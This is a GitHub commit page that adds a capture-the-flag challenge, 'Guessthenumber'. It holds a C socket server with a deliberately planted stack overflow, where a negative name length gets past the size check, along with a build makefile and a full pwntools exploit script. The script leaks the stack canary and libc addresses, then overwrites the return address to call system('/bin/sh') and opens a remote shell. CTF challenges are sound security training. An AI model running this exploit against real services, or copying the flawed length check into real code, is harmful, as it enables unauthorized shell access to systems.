Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
b446799
commit c0719dd
Showing
6 changed files
with
354 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
## Guessthenumber | ||
|
||
Could you help us to guess the number? | ||
|
||
## How to run | ||
|
||
You can find a `makefile` in the `src` folder | ||
|
||
LD_PRELOAD="$(pwd)/libc-2.24.so" ./guessthenumber | ||
|
||
## How to solve | ||
|
||
Full exploit script in `solution/exploit.py`. Writeup on the way. |
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,120 @@ | ||
from pwn import * | ||
import sys | ||
#context.log_level = "DEBUG" | ||
|
||
host = sys.argv[1] | ||
port = int(sys.argv[2]) | ||
|
||
def addStack(rl): | ||
payload = "ciaociao" | ||
rl.recvuntil("Exit\n") | ||
rl.sendline("1") | ||
rl.recvuntil("name?\n") | ||
rl.sendline("-5000") | ||
rl.recvuntil("name:\n") | ||
rl.send(payload) | ||
rl.recvuntil("etry\n") | ||
rl.sendline("c") | ||
|
||
def leak(addr): | ||
payload = cyclic(436) + p32(addr) | ||
rl = remote(host,port) | ||
|
||
addStack(rl) | ||
|
||
rl.recvuntil("Exit\n") | ||
rl.sendline("1") | ||
rl.recvuntil("name?\n") | ||
rl.sendline("-100") | ||
rl.recvuntil("name:\n") | ||
rl.send(payload) | ||
rl.recvuntil("etry\n") | ||
rl.sendline("c") | ||
leaked = "" | ||
try: | ||
rl.recvuntil("*** stack smashing detected ***: ") | ||
leaked = rl.recvuntil(" terminated")[:-11] | ||
except Exception as e: | ||
print str(e) | ||
finally: | ||
rl.close() | ||
leaked += "\x00" | ||
return leaked | ||
|
||
def leakpuro(addr): | ||
payload = cyclic(436) + p32(addr) | ||
rl = remote(host,port) | ||
rl.recvuntil("Exit\n") | ||
rl.sendline("1") | ||
rl.recvuntil("name?\n") | ||
rl.sendline("-100") | ||
rl.recvuntil("name:\n") | ||
rl.send(payload) | ||
rl.recvuntil("etry\n") | ||
rl.sendline("c") | ||
leaked = "" | ||
try: | ||
rl.recvuntil("*** stack smashing detected ***: ") | ||
leaked = rl.recvuntil(" terminated")[:-11] | ||
except Exception as e: | ||
print str(e) | ||
finally: | ||
rl.close() | ||
leaked += "\x00" | ||
return leaked | ||
|
||
def overflow(size,payload): | ||
rl = remote(host,port) | ||
rl.recvuntil("Exit\n") | ||
rl.sendline("1") | ||
rl.recvuntil("name?\n") | ||
rl.sendline(size) | ||
rl.recvuntil("name:\n") | ||
rl.send(payload) | ||
rl.recvuntil("etry\n") | ||
rl.sendline("c") | ||
return rl | ||
|
||
elf = ELF("guessthenumber") | ||
to_leak = elf.symbols["name"] | ||
stack = u32(leakpuro(to_leak)[0:4]) | ||
log.info("stack at "+hex(stack)) | ||
maybe_canary = stack - 0x1344 #offset of the old canary remained in the stack with the alloca(5000) | ||
log.info("canary address = "+hex(maybe_canary)) | ||
canary = leak(maybe_canary) | ||
log.info("canary tutto assieme "+canary) | ||
a = "" | ||
for i in range(0,4): | ||
a += leak(maybe_canary+i)[0] | ||
|
||
assert(len(a)==4) | ||
|
||
canary = u32(a) | ||
log.info("canary one byte at time = "+hex(canary)) | ||
|
||
#need to find system | ||
dup2_got = elf.got["dup2"] | ||
dup2_runtime = u32(leakpuro(dup2_got)[0:4]) | ||
libc = ELF("./libc.so.6") | ||
offset_system = libc.symbols["dup2"]-libc.symbols["system"] | ||
system_runtime = dup2_runtime - offset_system | ||
offset_bin = libc.symbols["dup2"] - next(libc.search("/bin/sh")) | ||
bin_runtime = dup2_runtime - offset_bin | ||
log.info("system at "+hex(system_runtime)) | ||
#buffer_ptr@(-100) - canary_addr = 156 | ||
#ret_addr - canary_addr = 16 | ||
#sending a -100 size | ||
#payload = 156*"A" | ||
#payload += canary | ||
#payload += 12*"B" | ||
#payload += ropchain! | ||
|
||
payload = 156*"A" | ||
payload += p32(canary) | ||
payload += 12*"B" | ||
payload += p32(system_runtime) | ||
payload += 4*"C" | ||
payload += p32(bin_runtime) | ||
size = "-100" | ||
overflow(size,payload).interactive() | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,219 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> //strlen | ||
#include <sys/socket.h> | ||
#include <arpa/inet.h> //inet_addr | ||
#include <unistd.h> //write | ||
#include <malloc.h> | ||
#include <alloca.h> | ||
#include <time.h> | ||
#include <stdbool.h> | ||
|
||
int readn(char*, unsigned int); | ||
|
||
unsigned int length = 0; | ||
char* name = NULL; | ||
int* points = 0; | ||
int registered = 0; | ||
int socket_desc , client_sock , c ; | ||
struct sockaddr_in server , client; | ||
|
||
int readn(char* buf, unsigned int n){ | ||
int nread = 0; | ||
char c[10]; | ||
nread = read(STDIN_FILENO,buf,(n)); | ||
if (nread == -1){ | ||
puts("Error reading \n"); | ||
exit(0); | ||
} | ||
buf[nread] = 0; | ||
return nread; | ||
} | ||
|
||
void game(void){ | ||
srand(time(NULL)); | ||
|
||
int r = rand() % 10 + 1; | ||
bool correct = false; | ||
int guess; | ||
int counter = 0; | ||
|
||
while(!correct) | ||
{ | ||
printf("Guess my number! "); | ||
scanf("%d", &guess); | ||
getchar(); | ||
counter++; | ||
if (guess < r) { | ||
printf("Your guess is too low. Guess again.\n"); | ||
} | ||
else if (guess > r) { | ||
printf("Your guess is too high. Guess again.\n"); | ||
} | ||
else { | ||
printf("You guessed correctly in %d tries! Congratulations!\n", counter); | ||
correct = true; | ||
} | ||
|
||
|
||
} | ||
|
||
return; | ||
} | ||
|
||
void doRegister(){ | ||
puts("Welcome, New Player!"); | ||
puts("Introduce yourself:"); | ||
registered = 0; | ||
while(!registered){ | ||
puts("How long is your name?"); | ||
int len = 0; | ||
scanf("%d",&len); | ||
if (len>100){ | ||
puts("Way too long!"); | ||
exit(0); | ||
} | ||
|
||
unsigned int local = abs(len); | ||
name = alloca(local+1); | ||
length = len; | ||
puts("Enter your name:"); | ||
int nread; | ||
nread = readn(name,length+1); | ||
if (nread <= 0){ | ||
puts("Invalid name"); | ||
exit(0); | ||
} | ||
puts("Arey you sure about the name?"); | ||
puts("[y]es\n[c]ancel\n[r]etry"); | ||
char minibuf[3]; | ||
minibuf[0]=0; | ||
readn(minibuf,3); | ||
char *swap; | ||
switch (minibuf[0]){ | ||
case 'y': | ||
swap = malloc(nread); | ||
if (swap == NULL){ | ||
puts("Malloc error"); | ||
exit(0); | ||
} | ||
strncpy(swap, name, nread); | ||
name = swap; | ||
registered = 1; | ||
break; | ||
case 'c': | ||
return; | ||
case 'r': | ||
break; | ||
default : | ||
break; | ||
} | ||
|
||
} | ||
return; | ||
} | ||
|
||
|
||
void doPlay(){ | ||
if (registered == 0) | ||
{ | ||
puts("You need to register first!!"); | ||
return; | ||
} | ||
puts("Welcome "); | ||
printf("%s\n",name); | ||
game(); | ||
} | ||
|
||
void menu(){ | ||
while(1){ | ||
|
||
|
||
puts("[1] Register"); | ||
puts("[2] Play"); | ||
puts("[3] Exit"); | ||
|
||
char minibuf[3]; | ||
minibuf[0]=0; | ||
readn(minibuf,3); | ||
switch(minibuf[0]){ | ||
case '1': | ||
doRegister(); | ||
break; | ||
case '2': | ||
doPlay(); | ||
break; | ||
case '3': | ||
exit(0); | ||
break; | ||
default: | ||
break; | ||
} | ||
} | ||
} | ||
|
||
int do_child(){ | ||
puts("Welcome to Guess the Number! \n"); | ||
menu(); | ||
|
||
} | ||
|
||
|
||
int main(int argc , char *argv[]) | ||
{ | ||
setbuf(stdout,NULL); | ||
setbuf(stderr,NULL); | ||
|
||
socket_desc = socket(AF_INET , SOCK_STREAM , 0); | ||
if (socket_desc == -1){ | ||
printf("Could not create socket"); | ||
} | ||
int enable = 1; | ||
if (setsockopt(socket_desc, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(int)) < 0){ | ||
perror("setsockopt(SO_REUSEADDR) failed"); | ||
return 1; | ||
} | ||
server.sin_family = AF_INET; | ||
server.sin_addr.s_addr = INADDR_ANY; | ||
server.sin_port = htons( 8888 ); | ||
|
||
if( bind(socket_desc,(struct sockaddr *)&server , sizeof(server)) < 0){ | ||
perror("bind failed. Error"); | ||
return 1; | ||
} | ||
|
||
listen(socket_desc , 3); | ||
|
||
c = sizeof(struct sockaddr_in); | ||
while (1){ | ||
printf("waiting!->\n"); | ||
client_sock = accept(socket_desc, (struct sockaddr *)&client, (socklen_t*)&c); | ||
if (client_sock < 0) | ||
{ | ||
perror("accept failed"); | ||
return 1; | ||
} | ||
int pid; | ||
if((pid = fork()) == -1){ | ||
perror("fork"); | ||
close(client_sock); | ||
exit(1); | ||
}else if(pid > 0){ | ||
close(client_sock); | ||
continue; | ||
}else if(pid == 0){ | ||
//TODO : | ||
//DROP PRIVILEGE | ||
dup2(client_sock,fileno(stdin)); | ||
dup2(client_sock,fileno(stdout)); | ||
dup2(client_sock,fileno(stderr)); | ||
close(client_sock); | ||
do_child(); | ||
break; | ||
} | ||
|
||
break; | ||
} | ||
close(socket_desc); | ||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
all : | ||
gcc -m32 -no-pie -o guessthenumber guessthenumber.c |